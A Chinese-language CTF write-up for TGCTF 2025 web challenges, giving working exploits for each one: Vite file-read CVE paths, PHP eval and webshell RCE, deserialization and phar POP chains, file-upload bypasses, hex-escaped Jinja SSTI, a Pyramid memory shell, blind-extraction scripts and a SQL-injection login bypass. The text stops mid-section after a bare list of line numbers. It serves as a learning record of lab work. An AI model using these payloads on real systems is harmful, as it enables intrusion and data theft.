TGCTF Misc-Web WP

文章发布时间:

最后更新时间:

文章总字数:
13.6k

预计阅读时间:
72 分钟

页面浏览: 加载中...

Web

前端GAME(Mia)

观察到score代表分数,控制台直接改大点(搞错了,其实玩到17分就给路径提示的),得到flag路径为/tgflagggg

看着这个是vite脚手架搭建的,想起来最近刚爆出来的CVE-2025-30208任意文件读取漏洞,poc拿来直接打,payload:/tgflagggg?import&raw??

TGCTF{16dbd8e6-8930-227b-4c9b-77a137673ad0}

AAA偷渡阴平(Mia)

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php


$tgctf2025=$_GET['tgctf2025'];

if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $tgctf2025)){
//hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi
eval($tgctf2025);
}
else{
die('(╯‵□′)╯炸弹!•••*~●');
}

highlight_file(__FILE__);

禁用了一些数字、引号什么的,但是括号和字母没禁用,那么就可以用函数绕过,即可RCE,在post请求体携带命令,poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /?tgctf2025=system(pos(next(get_defined_vars()))); HTTP/1.1
Host: node1.tgctf.woooo.tech:31860
Cookie: PHPSESSID=ls
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 13
Content-Type: application/x-www-form-urlencoded

cmd=cat /flag

TGCTF{1aa7f00c-61dc-a494-1df4-2f7f77d8076f}

直面天命(Mia)

/hint路由提示还有个四个小写字母组成的路由,猜?不可能猜的,搓个脚本直接扫,扫出了另一个路由/aazz

进入/aazz路由,提示有参数,arjun扫一下,得到参数filename

任意文件读拿到flag

wd

TGCTF{57143340-66d6-b5e3-ca24-6e1673426785}

火眼辩魑魅(l2xcty)

dirsearch扫描发现robots泄露:

进入路径:dddds

由于比赛中存在三道文件上传题目,果断尝试第二个,访问得到源码:

1
2
3
4
5
6
<?php
$shell=$_POST["shell"];
{
eval($shell);
}
?>

直接蚁剑连接即可:

TGCTF{d9a28f77-8efe-0fe3-941e-d1f0823e87e7}

什么文件上传?(Mia)

访问是个文件上传界面,然后发现robots.txt里写着其他的路由,访问class.php可发现题目的真实入口

是个反序列化,源码贴在下面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<?php
highlight_file(__FILE__);
error_reporting(0);
function best64_decode($str)
{
return base64_decode(base64_decode(base64_decode(base64_decode(base64_decode($str)))));
}
class yesterday {
public $learn;
public $study="study";
public $try;
public function __construct()
{
$this->learn = "learn<br>";
}
public function __destruct()
{
echo "You studied hard yesterday.<br>";
return $this->study->hard();
}
}
class today {
public $doing;
public $did;
public $done;
public function __construct(){
$this->did = "What you did makes you outstanding.<br>";
}
public function __call($arg1, $arg2)
{
$this->done = "And what you've done has given you a choice.<br>";
echo $this->done;
if(md5(md5($this->doing))==666){
return $this->doing();
}
else{
return $this->doing->better;
}
}
}
class tommoraw {
public $good;
public $bad;
public $soso;
public function __invoke(){
$this->good="You'll be good tommoraw!<br>";
echo $this->good;
}
public function __get($arg1){
$this->bad="You'll be bad tommoraw!<br>";
}

}
class future{
private $impossible="How can you get here?<br>";
private $out;
private $no;
public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;

public function __set($arg1, $arg2) {
if ($this->out->useful7) {
echo "Seven is my lucky number<br>";
system('whoami');
}
}
public function __toString(){
echo "This is your future.<br>";
system($_POST["wow"]);
return "win";
}
public function __destruct(){
$this->no = "no";
return $this->no;
}
}
if (file_exists($_GET['filename'])){
echo "Focus on the previous step!<br>";
}
else{
$data=substr($_GET['filename'],0,-4);
unserialize(best64_decode($data));
}
// You learn yesterday, you choose today, can you get to your future?
?>

原本是想着让DeepSeek帮我分析下代码,我好轻松的构造pop链,结果就被Deepseek秒杀了…. exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class yesterday {
public $study;
}
class today {
public $doing;
}
class future {
public $useful1, $useful2, $useful3, $useful4, $useful5, $useful6, $useful7, $useful8, $useful9, $useful10, $useful11, $useful12, $useful13, $useful14, $useful15, $useful16, $useful17, $useful18, $useful19, $useful20;
}

$f = new future();
$t = new today();
$t->doing = $f;
$y = new yesterday();
$y->study = $t;

echo serialize($y);
?>

生成的序列化字符串经过5次base64编码后,post请求用wow参数携带命令即可

TGCTF{418a67bf-7783-dac0-6166-bb11a8131379}

(ez)upload(Mia)

dirsearch扫一下发现有备份文件(其实upload.php也有备份文件,字典问题没扫到),同时存在/uploads路径,应该为文件上传后的路径

把源码拉下来,主要看upload.php的源码,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
define('UPLOAD_PATH', __DIR__ . '/uploads/');
$is_upload = false;
$msg = null;
$status_code = 200; // 默认状态码为 200
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php", "php5", "php4", "php3", "php2", "html", "htm", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess");

if (isset($_GET['name'])) {
$file_name = $_GET['name'];
} else {
$file_name = basename($_FILES['name']['name']);
}
$file_ext = pathinfo($file_name, PATHINFO_EXTENSION);

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['name']['tmp_name'];
$file_content = file_get_contents($temp_file);

if (preg_match('/.+?</s', $file_content)) {
$msg = '文件内容包含非法字符,禁止上传!';
$status_code = 403; // 403 表示禁止访问
} else {
$img_path = UPLOAD_PATH . $file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
$msg = '文件上传成功!';
} else {
$msg = '上传出错!';
$status_code = 500; // 500 表示服务器内部错误
}
}
} else {
$msg = '禁止保存为该类型文件!';
$status_code = 403; // 403 表示禁止访问
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
$status_code = 404; // 404 表示资源未找到
}
}

// 设置 HTTP 状态码
http_response_code($status_code);

// 输出结果
echo json_encode([
'status_code' => $status_code,
'msg' => $msg,
]);

这里我们主要关注以下部分即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 后缀黑名单
$deny_ext = array("php", "php5", "php4", "php3", "php2", "html", "htm", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess");

// 可以通过name参数控制文件上传的路径
if (isset($_GET['name'])) {
$file_name = $_GET['name'];
} else {
$file_name = basename($_FILES['name']['name']);
}
$file_ext = pathinfo($file_name, PATHINFO_EXTENSION);

// 正则写错了,其实对文件内容一点影响没有
if (preg_match('/.+?</s', $file_content)) {
$msg = '文件内容包含非法字符,禁止上传!';
$status_code = 403; // 403 表示禁止访问

首先考虑到没有ban掉的后缀,phps、pHp等等,可以成功上传,但是不解析。所以考虑上传.user.ini去包含php代码,但是/uploads路径下无法上传能解析的php文件,所以通过name参数将.user.ini文件和包含的文件上传到网站根目录,用index.php去包含它,最后RCE,flag在env里

赛后:

想了想这题不应该就此为止,让我们来看看两个关键函数:pathinfomove_uploaded_file,这里我们在本地把环境跑起来,然后调试看看:

我们将name参数设置成shell.php/.,在第10行下个断点,看看会发生什么

可以看到程序运行到这里,$file_ext变量的值为空字符串,这是因为错误的后缀并没有被pathinfo函数识别,所以返回了空字符串,以此绕过了这里的黑名单判断

可以看到程序运行到这里的时候,文件被成功保存,而/.被忽略,或者说被解析成当前目录?也是move_uploaded_file函数的一个缺陷吧,要想安全必须在这个函数之前对文件的路径进行校验,所以我们成功上传木马到服务端了,可见赛中的方法有点笨拙

预期解:

但是这题官方给的题解是脏数据绕过,那么我们我们将正则改正,然后来研究研究这个,可见现在的正则能正确检测文件内容了

因为我们修改的正则表达式是匹配<>中间的内容,所以脏数据应该放在?>之前,写个python脚本发包,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

trash = 'a'*1010000

burp0_url = "http://127.0.0.1:80/upload.php?name=shell.php/."
burp0_headers = {"Cache-Control": "max-age=0", "sec-ch-ua": "\"Google Chrome\";v=\"135\", \"Not-A.Brand\";v=\"8\", \"Chromium\";v=\"135\"", "sec-ch-ua-mobile": "?0", "sec-ch-ua-platform": "\"macOS\"", "Origin": "http://127.0.0.1", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundarymu3z5SEDJAfflq1l", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1", "Sec-Fetch-Dest": "document", "Referer": "http://127.0.0.1/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
burp0_data = f"------WebKitFormBoundarymu3z5SEDJAfflq1l\r\nContent-Disposition: form-data; name=\"name\"; filename=\"test.php\"\r\nContent-Type: text/php\r\n\r\n<?php system($_GET['cmd']); {trash} ?>\r\n------WebKitFormBoundarymu3z5SEDJAfflq1l\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\n\xe4\xb8\x8a\xe4\xbc\xa0\xe6\x96\x87\xe4\xbb\xb6\r\n------WebKitFormBoundarymu3z5SEDJAfflq1l--\r\n"

try:
response = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
except:
exit('请求出错!')

print(response.text)

然后我们在preg_match函数处下个断点,可以看到成功绕过,文件成功上传,原因应该是过长的数据会导致preg_match函数失效

TGCTF{bd0b28f9-e2ba-4767-5a69-204d418609c3}

直面天命(复仇)(Mia)

前面和之前的题目一样,/aazz路由拿到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import os
import string
from flask import Flask, request, render_template_string, jsonify, send_from_directory
from a.b.c.d.secret import secret_key

app = Flask(__name__)

black_list=['lipsum','|','%','{','}','map','chr', 'value', 'get', "url", 'pop','include','popen','os','import','eval','_','system','read','base','globals','_.','set','application','getitem','request', '+', 'init', 'arg', 'config', 'app', 'self']
def waf(name):
for x in black_list:
if x in name.lower():
return True
return False
def is_typable(char):
# 定义可通过标准 QWERTY 键盘输入的字符集
typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace
return char in typable_chars

@app.route('/')
def home():
return send_from_directory('static', 'index.html')

@app.route('/jingu', methods=['POST'])
def greet():
template1=""
template2=""
name = request.form.get('name')
template = f'{name}'
if waf(name):
template = '想干坏事了是吧hacker?哼,还天命人,可笑,可悲,可叹<br><img src="{{ url_for("static", filename="3.jpeg") }}" alt="Image">'
else:
k=0
for i in name:
if is_typable(i):
continue
k=1
break
if k==1:
if not (secret_key[:2] in name and secret_key[2:]):
template = '连“六根”都凑不齐,谈什么天命不天命的,还是戴上这金箍吧<br><br>再去西行历练历练<br><br><img src="{{ url_for("static", filename="4.jpeg") }}" alt="Image">'
return render_template_string(template)
template1 = "“六根”也凑齐了,你已经可以直面天命了!我帮你把“secret_key”替换为了“{{}}”<br>最后,如果你用了cat,就可以见到齐天大圣了<br>"
template= template.replace("天命","{{").replace("难违","}}")
template = template
if "cat" in template:
template2 = '<br>或许你这只叫天命人的猴子,真的能做到?<br><br><img src="{{ url_for("static", filename="2.jpeg") }}" alt="Image">'
try:
return template1+render_template_string(template)+render_template_string(template2)
except Exception as e:
error_message = f"500报错了,查询语句如下:<br>{template}"
return error_message, 400

@app.route('/hint', methods=['GET'])
def hinter():
template="hint:<br>有一个aazz路由,去那里看看吧,天命人!"
return render_template_string(template)

@app.route('/aazz', methods=['GET'])
def finder():
with open(__file__, 'r') as f:
source_code = f.read()
return f"<pre>{source_code}</pre>", 200, {'Content-Type': 'text/html; charset=utf-8'}

if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)

其实关注一下部分就好:

1
2
3
4
5
6
7
8
9
// 首先知道ban了这么多字符
black_list=['lipsum','|','%','{','}','map','chr', 'value', 'get', "url", 'pop','include','popen','os','import','eval','_','system','read','base','globals','_.','set','application','getitem','request', '+', 'init', 'arg', 'config', 'app', 'self']

//然后直接看这里就好,可以知道 天命SSTI难违 这样打继承链
if not (secret_key[:2] in name and secret_key[2:]):
template = '连“六根”都凑不齐,谈什么天命不天命的,还是戴上这金箍吧<br><br>再去西行历练历练<br><br><img src="{{ url_for("static", filename="4.jpeg") }}" alt="Image">'
return render_template_string(template)
template1 = "“六根”也凑齐了,你已经可以直面天命了!我帮你把“secret_key”替换为了“{{}}”<br>最后,如果你用了cat,就可以见到齐天大圣了<br>"
template= template.replace("天命","{{").replace("难违","}}")

由于字符被ban的很多,用十六进制绕过就行,然后就是慢慢打继承链,payload如下:

1
name=天命''["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[293]["\x5f\x5f\x69\x6e\x69\x74\x5f\x5f"]["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f('\x6f\x73').\x70\x6f\x70\x65\x6e('cat /tgffff11111aaaagggggggg ').\x72\x65\x61\x64()")难违

TGCTF{83720801-9886-8a3f-1de9-57d03f6d656f}

TG_wordpress(Mia)

有个爬虫协议,没啥东西

DS泄露,用wget全部拉下来,看看有什么

有个密文和RSA私钥,解密一下得到后台账号密码,进入后台看到存在任意文件上传的插件,搜一下CVE编号即可

TGCTF{CVE-2020-25213}

WEB-前端GAME Plus(赛后)

哇,真的没想到居然三题前端分别考了三个vite的新CVE,原谅我只看过一个,唉。这题考的是CVE-2025-31486,可以看这里:https://mp.weixin.qq.com/s?__biz=MzkyMTcwNjg4Mw==&mid=2247483811&idx=1&sn=2b4403023fd911f611bf5590ea3796d6&scene=21#wechat_redirect

有两个POC,直接用第一个就好,虽然有限制,但是第二个POC需要知道vite的绝对路径,实在是猜不到,如下:

1
http://localhost:8080/tgflagggg?.svg?.wasm?init

前端GAME Ultra(赛后)

这题考的是CVE-2025-32395,可以看这里:https://mp.weixin.qq.com/s/HMhzXqSplWa-IwpftxwTiA

同样,这个POC也需要知道vite的绝对路径,不过我们可以访问/@fs/tmp/,来获取绝对路径,可以看到这里是/app

这里用curl --request-target请求,如下:

TGCTF{test}

偷渡阴平(复仇)(赛后)

题目源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$tgctf2025=$_GET['tgctf2025'];

if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\|localeconv|pos|current|print|var|dump|getallheaders|get|defined|str|split|spl|autoload|extensions|eval|phpversion|floor|sqrt|tan|cosh|sinh|ceil|chr|dir|getcwd|getallheaders|end|next|prev|reset|each|pos|current|array|reverse|pop|rand|flip|flip|rand|content|echo|readfile|highlight|show|source|file|assert/i", $tgctf2025)){
//hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi
eval($tgctf2025);
}
else{
die('(╯‵□′)╯炸弹!•••*~●');
}

highlight_file(__FILE__);

可以看到比未复仇版多禁用了一些函数,我记得赛中是提示禁用了无参方法的函数,唉搞得我一直在想怎么用无字母数字打,不过这题也是让我发现了以前笔记中的一处不足,如下:

之前琢磨session_id打RCE的时候发现id只能由字母数字和 - 组成,就认为该方法不能打复杂的命令执行,没想到可以将命令转为十六进制携带,然后用hex2bin函数再转回来就可,那么这题就可以这么打:

什么文件上传?(复 仇)(赛后)

题目前置信息忽略,和未复仇版一样,源码如下:

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<?php
highlight_file(__FILE__);
error_reporting(0);
function best64_decode($str)
{
return base64_encode(md5(base64_encode(md5($str))));
}
class yesterday {
public $learn;
public $study="study";
public $try;
public function __construct()
{
$this->learn = "learn<br>";
}
public function __destruct()
{
echo "You studied hard yesterday.<br>";
return $this->study->hard();
}
}
class today {
public $doing;
public $did;
public $done;
public function __construct(){
$this->did = "What you did makes you outstanding.<br>";
}
public function __call($arg1, $arg2)
{
$this->done = "And what you've done has given you a choice.<br>";
echo $this->done;
if(md5(md5($this->doing))==666){
return $this->doing();
}
else{
return $this->doing->better;
}
}
}
class tommoraw {
public $good;
public $bad;
public $soso;
public function __invoke(){
$this->good="You'll be good tommoraw!<br>";
echo $this->good;
}
public function __get($arg1){
$this->bad="You'll be bad tommoraw!<br>";
}

}
class future{
private $impossible="How can you get here?<br>";
private $out;
private $no;
public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;

public function __set($arg1, $arg2) {
if ($this->out->useful7) {
echo "Seven is my lucky number<br>";
system('whoami');
}
}
public function __toString(){
echo "This is your future.<br>";
system($_POST["wow"]);
return "win";
}
public function __destruct(){
$this->no = "no";
return $this->no;
}
}
if (file_exists($_GET['filename'])){
echo "Focus on the previous step!<br>";
}
else{
$data=substr($_GET['filename'],0,-4);
unserialize(best64($data));
}
// You learn yesterday, you choose today, can you get to your future?
?>

upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
if(isset($_FILES['file'])) {
$uploadDir = 'uploads/';
if(!file_exists($uploadDir)) {
mkdir($uploadDir, 0777, true);
}

// 白名单允许的扩展名
$allowedExtensions = ['atg'];
$fileName = basename($_FILES['file']['name']);
$fileExtension = strtolower(pathinfo($fileName, PATHINFO_EXTENSION));

// 检查文件扩展名
if(!in_array($fileExtension, $allowedExtensions)) {
die("hacker!");
}

$uploadFile = $uploadDir . $fileName;

if(move_uploaded_file($_FILES['file']['tmp_name'], $uploadFile)) {
echo "文件已保存到:$uploadFile !";
} else {
echo "文件保存出错!";
}
}
?>

可以看到index.php存在反序列化,在file_exists($_GET['filename'])函数执行的时候,phar文件就会被反序列化,在upload.php中可知,被允许的后缀名为atg(赛中就是没猜到这个后缀名,所以没拿到分,官方wp说爆破得到,在LamentXU师傅的wp里看到可以在未复仇版里拿到),而phar协议和zip协议有个特性,无论是什么后缀都可以进行phar协议读取,所以这题就是打phar反序列化,exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
// 包含目标文件的类定义
require_once '/Users/mia/Desktop/codes/php/www/index.php';

// POP链
$future = new future();
$today = new today();
$today->doing = $future;
$yesterday = new yesterday();
$yesterday->study = $today;

// 创建PHAR文件
@unlink('exploit.phar');
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test'); // 必须包含至少一个文件
$phar->setStub('<?php __HALT_COMPILER(); ?>'); // 设置stub
$phar->setMetadata($yesterday); // 注入恶意对象
$phar->stopBuffering();
?>

然后将后缀名改为atg上传,然后访问index.php即可,docker没给,本地因为版本问题,就不做演示了,如下:

熟悉的配方,熟悉的味道(赛后)

题目源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
from pyramid.config import Configurator
from pyramid.request import Request
from pyramid.response import Response
from pyramid.view import view_config
from wsgiref.simple_server import make_server
from pyramid.events import NewResponse
import re
from jinja2 import Environment, BaseLoader

eval_globals = { #防止eval执行恶意代码
'__builtins__': {}, # 禁用所有内置函数
'__import__': None # 禁止动态导入
}


def checkExpr(expr_input):
expr = re.split(r"[-+*/]", expr_input)
print(exec(expr_input))

if len(expr) != 2:
return 0
try:
int(expr[0])
int(expr[1])
except:
return 0

return 1


def home_view(request):
expr_input = ""
result = ""

if request.method == 'POST':
expr_input = request.POST['expr']
if checkExpr(expr_input):
try:
result = eval(expr_input, eval_globals)
except Exception as e:
result = e
else:
result = "爬!"


template_str = '''
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>Calculator with Code Highlighting</title>
<link rel="stylesheet"
href="//cdnjs.cloudflare.com/ajax/libs/highlight.js/11.7.0/styles/default.min.css">
<script src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/11.7.0/highlight.min.js"></script>
<script>hljs.highlightAll();</script>
<style>
body { font-family: Arial, sans-serif; margin: 20px; }
pre { background: #f5f5f5; padding: 10px; }
</style>
</head>
<body>
<h1>Calculator</h1>
<form method="post">
<label for="expr">输入表达式:</label>
<input type="text" name="expr" id="expr" value="{{ expr_input }}" placeholder="输入二元表达式,例如: 1+2 或 3-4 或 5*6 或 7/8" style="width: 300px;">
<button type="submit">计算</button>
</form>
{% if result != "" %}
<h2>结果: {{ result }}</h2>
{% endif %}

<h2>代码:</h2>
<pre><code class="python">
{% raw %}
from pyramid.config import Configurator
from pyramid.request import Request
from pyramid.response import Response
from pyramid.view import view_config
from wsgiref.simple_server import make_server
from pyramid.events import NewResponse
import re
from jinja2 import Environment, BaseLoader

eval_globals = { #防止eval执行恶意代码
'__builtins__': {}, # 禁用所有内置函数
'__import__': None # 禁止动态导入
}


def checkExpr(expr_input):
expr = re.split(r"[-+*/]", expr_input)
print(exec(expr_input))

if len(expr) != 2:
return 0
try:
int(expr[0])
int(expr[1])
except:
return 0

return 1


def home_view(request):
expr_input = ""
result = ""

if request.method == 'POST':
expr_input = request.POST['expr']
if checkExpr(expr_input):
try:
result = eval(expr_input, eval_globals)
except Exception as e:
result = e
else:
result = "爬!"


template_str = 【xxx】

env = Environment(loader=BaseLoader())
template = env.from_string(template_str)
rendered = template.render(expr_input=expr_input, result=result)
return Response(rendered)


if __name__ == '__main__':
with Configurator() as config:
config.add_route('home_view', '/')
config.add_view(home_view, route_name='home_view')
app = config.make_wsgi_app()

server = make_server('0.0.0.0', 9040, app)
server.serve_forever()
{% endraw %}
</code></pre>
</body>
</html>
'''

env = Environment(loader=BaseLoader())
template = nv.from_string(template_str)
rendered = template.render(expr_input=expr_input, result=result)
return Response(rendered)


if __name__ == '__main__':
with Configurator() as config:
config.add_route('home_view', '/')
config.add_view(home_view, route_name='home_view')
app = config.make_wsgi_app()

server = make_server('0.0.0.0', 9040, app)
server.serve_forever()

python题目做的很少,加上最近做SSTI比较多,所以赛中一直在想这题到底要怎么绕过去打SSTI。其实我也观察到了exec会执行python代码,但是没有回显,也没想到这里去。其实这题考的是pyramid框架的内存马,可以看这篇文章:https://xz.aliyun.com/news/16090?u_atoken=87dba66839b39d2b13eae6e4583416ca&u_asig=0a47309317440258787906072e00fe

构造如下代码,动态创建shell路由即可RCE

1
2
3
4
5
6
7
8
9
import sys

from pyramid.response import Response

config = sys.modules['__main__'].config
app=sys.modules['__main__'].app;print(config)
config.add_route('shell', '/shell')
config.add_view(lambda request: Response(__import__('os').popen(request.params.get('1')).read()),route_name='shell')
app = config.make_wsgi_app()

文章里还提到使用request.add_response_callback 钩子函数进行回显,但是本题exec并不在home_view函数内,拿不到request对象,显然是不可行的


另解:

1、抛出异常

这里可以用setattr函数设置500页面的属性值,然后抛出异常来RCE,如下(其实这里也用不着找继承链,直接import就行):

1
2
3
4
5
6
7
8
# 继承链
tmp = re.match.__globals__['__builtins__']

# 设置属性
tmp['setattr'](tmp['__import__']('wsgiref').handlers.BaseHandler,'error_body',tmp['__import__']('os').popen('cat /flagggggg_tgctf2025_asjdklalkcnkjassjhdlk').read().encode())

# 抛出异常
raise Exception()

这里注意wsgiref.handlers.BaseHandler属性的值error_body的类型是字节,所以需要encode一下(调了好久),然后可以直接通过输入框或者用python写个脚本打一下

2、布尔盲注(摘自LamentXU)

通过exec的执行是否抛出异常来判断字符,exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import string
import requests

url = "http://localhost:8080/"
flag = ""

for i in range(len(flag),37):
for s in '-'+'}'+'{'+string.ascii_lowercase+string.digits+string.ascii_uppercase+'_':
data = {"expr":f"import os,operator;f=os.popen('cat /f*').read();a=int(operator.eq(f[{i}],'{s}'));1/a"}
res = requests.post(url, data=data)
if res.text != "A server error occurred. Please contact the administrator.":
flag += s
print(flag)
break

3、时间盲注

和布尔盲注差不多,优点是页面报错无回显的话可以用时间盲注,缺点是慢,exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import string
import requests
import time
from tqdm import tqdm

url = "http://localhost:8080/"
flag = ""

for i in range(len(flag),37):
for s in tqdm('-'+'}'+'{'+string.ascii_lowercase+string.digits+string.ascii_uppercase+'_'):
data = {"expr":f"import os,operator,time;f=os.popen('cat /f*').read();a=int(operator.eq(f[{i}],'{s}'));time.sleep(1) if a==1 else time.sleep(0.1)"}
start_time = time.time()
requests.post(url, data=data)
end_time = time.time()
if end_time - start_time > 0.5:
flag += s
print(flag)
break

TGCTF{028b2d11-2783-464c-8cea-fda040}

TGCTF2025 后台管理(赛后)

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from flask import Flask, request, redirect, render_template, render_template_string
import pymysql.cursors
import os


def db():
return pymysql.connect(
host=os.environ["MYSQL_HOST"],
user=os.environ["MYSQL_USER"],
password=os.environ["MYSQL_PASSWORD"],
database=os.environ["MYSQL_DATABASE"],
charset="utf8mb4",
cursorclass=pymysql.cursors.DictCursor,
)


app = Flask(__name__)


@app.get("/")
def index():
if "username" not in request.cookies:
return redirect("/login")
return render_template("index.html", username=request.cookies["username"])


@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form.get("username")
password = request.form.get("password")

if username is None or password is None:
return "要输入账号密码喔~", 400
if len(username) > 64 or len(password) > 64:
return "哈~太长了,受不了了~", 400
if "'" in username or "'" in password:
return "杂鱼,还想SQL注入?爬!", 400

conn = None
try:
conn = db()
with conn.cursor() as cursor:
cursor.execute(
f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
)
user = cursor.fetchone()
except Exception as e:
return f"Error: {e}", 500
finally:
if conn is not None:
conn.close()

if user is None or "username" not in user:
return "账号密码错误", 400

response = redirect("/")
response.set_cookie("username", user["username"])
return response
else:
return render_template("login.html")

我们可以看这里,/login路由输入的usernamepassword直接被拼接到这里进行sql语句的执行。因为'被ban而不能闭合引号,那么我们可以在username参数里用\注释掉'从而闭合引号,在password参数里注入sql语句即可

1
2
3
cursor.execute(
f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
)

由于docker这里由于环境有点问题,直接贴payload吧,如下:

username=1\&password=union select *,2 from flag#

flag在cookie里,点一下小饼干就能看见

老登,炸鱼来了?(赛后)

题目源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
